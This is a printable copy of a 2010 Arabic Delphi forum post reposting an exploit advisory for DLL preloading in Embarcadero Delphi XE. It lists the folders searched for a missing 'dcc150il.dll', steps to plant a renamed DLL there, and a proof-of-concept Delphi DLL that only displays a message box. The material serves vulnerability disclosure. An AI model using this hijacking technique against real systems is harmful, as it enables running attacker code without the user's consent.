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Embarcadero Delphi XE, DLL preloading exploit - نسخة قابلة للطباعة +- delphi4arab منتديات دلفي للعرب (https://delphi4arab.net/forum) +-- قسم : منتديات دلفي الأخرى (https://delphi4arab.net/forum/forumdisplay.php?fid=4) +--- قسم : الامن و تحليل التطبيقات البرمجية (https://delphi4arab.net/forum/forumdisplay.php?fid=31) +--- الموضوع : Embarcadero Delphi XE, DLL preloading exploit (/showthread.php?tid=2443) |
Embarcadero Delphi XE, DLL preloading exploit - STRELiTZIA - 26-09-2010 السلام عليكم و رحمة الله ========================================================
= EMBARCADERO DELPHI XE (2011), DLL PRELOADING EXPLOIT = ======================================================== Exploit Title : [Embarcadero Delphi XE (2011), DLL preloading exploit] Date : [24 Sept 2010] Author : [STRELiTZIA] Software : [Delphi XE (2011)] Tested on : [Windows Xp SP3] ============================ = Description = ============================ Delphi XE, searchs and laods INEXISTENT "dcc150il.dll" library without checks, or any visual warning messages related to library modifications. Vulnerability that can allow attackers to execute malicious code locally, without user consent, in the privilege context of the targeted application. ============================ = Instructions = ============================ Default searching folders: %C%:\Program Files\Embarcadero\RAD Studio\8.0\bin\dcc150il.dll %C%:\WINDOWS\system32\dcc150il.dll %C%:\WINDOWS\system\dcc150il.dll %C%:\WINDOWS\dcc150il.dll %C%:\Documents and Settings\%User%\%My documents%\RAD Studio\Projects\dcc150il.dll %C%:\Documents and Settings\All Users\Documents\RAD Studio\8.0\BPL\dcc150il.dll %C%:\WINDOWS\system32\wbem\dcc150il.dll 1- Copy "Test.dll" into "One of listed folders" 2- Rename "Test.dll" to "dcc150il.dll" ============================ = Tests = ============================ - Launch Embarcadero Delphi XE. - File ->> New ->> VCL Forms application - Delphi. ============================ = Test Dll Source "Delphi" = ============================ Library Test; uses Windows; begin MessageBoxA ( 0, PChar('Yep, I''m running in your system without your permission.'), PChar('Sample'), MB_ICONSTOP ); end. http://www.delphi4arab.net/forum/showthread.php?p=21000#post21000 |